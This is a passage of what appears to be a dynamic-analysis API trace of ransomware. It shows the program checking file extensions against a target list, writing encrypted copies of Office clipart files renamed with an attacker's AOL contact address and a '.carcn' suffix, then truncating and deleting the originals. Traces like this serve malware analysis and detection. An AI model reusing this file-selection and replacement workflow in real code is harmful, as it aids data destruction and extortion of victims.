Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0273.155] lstrlenW (lpString=".doc") returned 4 [0273.155] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.155] lstrlenW (lpString=".docx") returned 5 [0273.155] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.155] lstrlenW (lpString=".pdf") returned 4 [0273.155] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.155] lstrlenW (lpString=".xls") returned 4 [0273.155] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.155] lstrlenW (lpString=".xlsx") returned 5 [0273.155] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.155] lstrlenW (lpString=".ppt") returned 4 [0273.155] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0273.155] lstrlenW (lpString=".zip") returned 4 [0273.155] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.155] lstrlenW (lpString=".rar") returned 4 [0273.155] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.155] lstrlenW (lpString=".bz2") returned 4 [0273.155] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.155] lstrlenW (lpString=".7z") returned 3 [0273.155] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0273.156] lstrlenW (lpString=".dbf") returned 4 [0273.156] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0273.156] lstrlenW (lpString=".1cd") returned 4 [0273.156] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0273.156] lstrlenW (lpString=".jpg") returned 4 [0273.156] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0273.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0273.156] lstrlenW (lpString=".doc") returned 4 [0273.156] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.156] lstrlenW (lpString=".docx") returned 5 [0273.156] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.156] lstrlenW (lpString=".pdf") returned 4 [0273.156] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.156] lstrlenW (lpString=".xls") returned 4 [0273.156] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.156] lstrlenW (lpString=".xlsx") returned 5 [0273.156] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.156] lstrlenW (lpString=".ppt") returned 4 [0273.156] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0273.156] lstrlenW (lpString=".zip") returned 4 [0273.157] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.157] lstrlenW (lpString=".rar") returned 4 [0273.157] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.157] lstrlenW (lpString=".bz2") returned 4 [0273.157] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.157] lstrlenW (lpString=".7z") returned 3 [0273.157] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0273.157] lstrlenW (lpString=".dbf") returned 4 [0273.157] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0273.157] lstrlenW (lpString=".1cd") returned 4 [0273.157] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0273.157] lstrlenW (lpString=".jpg") returned 4 [0273.157] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.157] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0273.157] lstrlenW (lpString="DD01015_.WMF") returned 12 [0273.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0273.158] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=2226) returned 1 [0273.158] CloseHandle (hObject=0x540) returned 1 [0273.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf")) returned 0x220 [0273.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0273.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0273.159] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.159] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0273.160] GetLastError () returned 0x0 [0273.160] ReadFile (in: hFile=0x540, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x8b2, lpOverlapped=0x0) returned 1 [0273.231] WriteFile (in: hFile=0x554, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x8c0, lpOverlapped=0x0) returned 1 [0273.232] ReadFile (in: hFile=0x540, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.232] WriteFile (in: hFile=0x554, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0273.232] SetEndOfFile (hFile=0x554) returned 1 [0273.239] CloseHandle (hObject=0x554) returned 1 [0273.244] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.244] SetEndOfFile (hFile=0x540) returned 1 [0273.250] CloseHandle (hObject=0x540) returned 1 [0273.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0273.251] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf")) returned 1 [0273.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0273.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0273.252] lstrlenW (lpString=".doc") returned 4 [0273.252] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.252] lstrlenW (lpString=".docx") returned 5 [0273.252] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.252] lstrlenW (lpString=".pdf") returned 4 [0273.252] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.252] lstrlenW (lpString=".xls") returned 4 [0273.252] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.252] lstrlenW (lpString=".xlsx") returned 5 [0273.252] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.252] lstrlenW (lpString=".ppt") returned 4 [0273.253] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0273.253] lstrlenW (lpString=".zip") returned 4 [0273.253] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.253] lstrlenW (lpString=".rar") returned 4 [0273.253] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.253] lstrlenW (lpString=".bz2") returned 4 [0273.253] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.253] lstrlenW (lpString=".7z") returned 3 [0273.253] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0273.253] lstrlenW (lpString=".dbf") returned 4 [0273.253] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0273.253] lstrlenW (lpString=".1cd") returned 4 [0273.253] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0273.253] lstrlenW (lpString=".jpg") returned 4 [0273.253] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0273.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0273.254] lstrlenW (lpString=".doc") returned 4 [0273.254] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.254] lstrlenW (lpString=".docx") returned 5 [0273.254] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.254] lstrlenW (lpString=".pdf") returned 4 [0273.254] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.254] lstrlenW (lpString=".xls") returned 4 [0273.254] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.254] lstrlenW (lpString=".xlsx") returned 5 [0273.254] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.254] lstrlenW (lpString=".ppt") returned 4 [0273.254] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0273.254] lstrlenW (lpString=".zip") returned 4 [0273.254] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.254] lstrlenW (lpString=".rar") returned 4 [0273.254] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.254] lstrlenW (lpString=".bz2") returned 4 [0273.254] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.254] lstrlenW (lpString=".7z") returned 3 [0273.255] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0273.255] lstrlenW (lpString=".dbf") returned 4 [0273.255] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0273.255] lstrlenW (lpString=".1cd") returned 4 [0273.255] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0273.255] lstrlenW (lpString=".jpg") returned 4 [0273.255] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.255] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0273.255] lstrlenW (lpString="DD01039_.WMF") returned 12 [0273.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0273.257] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=14820) returned 1 [0273.257] CloseHandle (hObject=0x540) returned 1 [0273.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf")) returned 0x220 [0273.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0273.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0273.258] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.258] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0273.260] GetLastError () returned 0x0 [0273.260] ReadFile (in: hFile=0x540, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x39e4, lpOverlapped=0x0) returned 1 [0273.348] WriteFile (in: hFile=0x524, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x39f0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x39f0, lpOverlapped=0x0) returned 1 [0273.349] ReadFile (in: hFile=0x540, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.349] WriteFile (in: hFile=0x524, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0273.349] SetEndOfFile (hFile=0x524) returned 1 [0273.350] CloseHandle (hObject=0x524) returned 1 [0273.350] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.350] SetEndOfFile (hFile=0x540) returned 1 [0273.354] CloseHandle (hObject=0x540) returned 1 [0273.355] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0273.355] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf")) returned 1 [0273.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0273.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0273.357] lstrlenW (lpString=".doc") returned 4 [0273.357] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.357] lstrlenW (lpString=".docx") returned 5 [0273.357] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.357] lstrlenW (lpString=".pdf") returned 4 [0273.357] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.357] lstrlenW (lpString=".xls") returned 4 [0273.357] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.357] lstrlenW (lpString=".xlsx") returned 5 [0273.357] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.357] lstrlenW (lpString=".ppt") returned 4 [0273.357] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0273.357] lstrlenW (lpString=".zip") returned 4 [0273.357] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.357] lstrlenW (lpString=".rar") returned 4 [0273.357] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.357] lstrlenW (lpString=".bz2") returned 4 [0273.357] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.357] lstrlenW (lpString=".7z") returned 3 [0273.357] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0273.357] lstrlenW (lpString=".dbf") returned 4 [0273.358] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0273.358] lstrlenW (lpString=".1cd") returned 4 [0273.358] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0273.358] lstrlenW (lpString=".jpg") returned 4 [0273.358] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0273.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0273.358] lstrlenW (lpString=".doc") returned 4 [0273.358] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.358] lstrlenW (lpString=".docx") returned 5 [0273.358] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.358] lstrlenW (lpString=".pdf") returned 4 [0273.358] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.358] lstrlenW (lpString=".xls") returned 4 [0273.358] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.358] lstrlenW (lpString=".xlsx") returned 5 [0273.358] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.358] lstrlenW (lpString=".ppt") returned 4 [0273.358] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0273.358] lstrlenW (lpString=".zip") returned 4 [0273.358] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.359] lstrlenW (lpString=".rar") returned 4 [0273.359] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.359] lstrlenW (lpString=".bz2") returned 4 [0273.359] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.359] lstrlenW (lpString=".7z") returned 3 [0273.359] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0273.359] lstrlenW (lpString=".dbf") returned 4 [0273.359] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0273.359] lstrlenW (lpString=".1cd") returned 4 [0273.359] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0273.359] lstrlenW (lpString=".jpg") returned 4 [0273.359] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.359] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0273.359] lstrlenW (lpString="DD01143_.WMF") returned 12 [0273.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0273.360] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=2140) returned 1 [0273.360] CloseHandle (hObject=0x540) returned 1 [0273.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf")) returned 0x220 [0273.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0273.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0273.361] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.361] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0273.362] GetLastError () returned 0x0 [0273.362] ReadFile (in: hFile=0x540, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x85c, lpOverlapped=0x0) returned 1 [0273.478] WriteFile (in: hFile=0x524, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x860, lpOverlapped=0x0) returned 1 [0273.481] ReadFile (in: hFile=0x540, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.481] WriteFile (in: hFile=0x524, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0273.481] SetEndOfFile (hFile=0x524) returned 1 [0273.481] CloseHandle (hObject=0x524) returned 1 [0273.612] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.612] SetEndOfFile (hFile=0x540) returned 1 [0273.975] CloseHandle (hObject=0x540) returned 1 [0274.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0274.078] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf")) returned 1 [0274.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0274.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0274.079] lstrlenW (lpString=".doc") returned 4 [0274.079] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.079] lstrlenW (lpString=".docx") returned 5 [0274.079] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.079] lstrlenW (lpString=".pdf") returned 4 [0274.079] lstrcmpiW 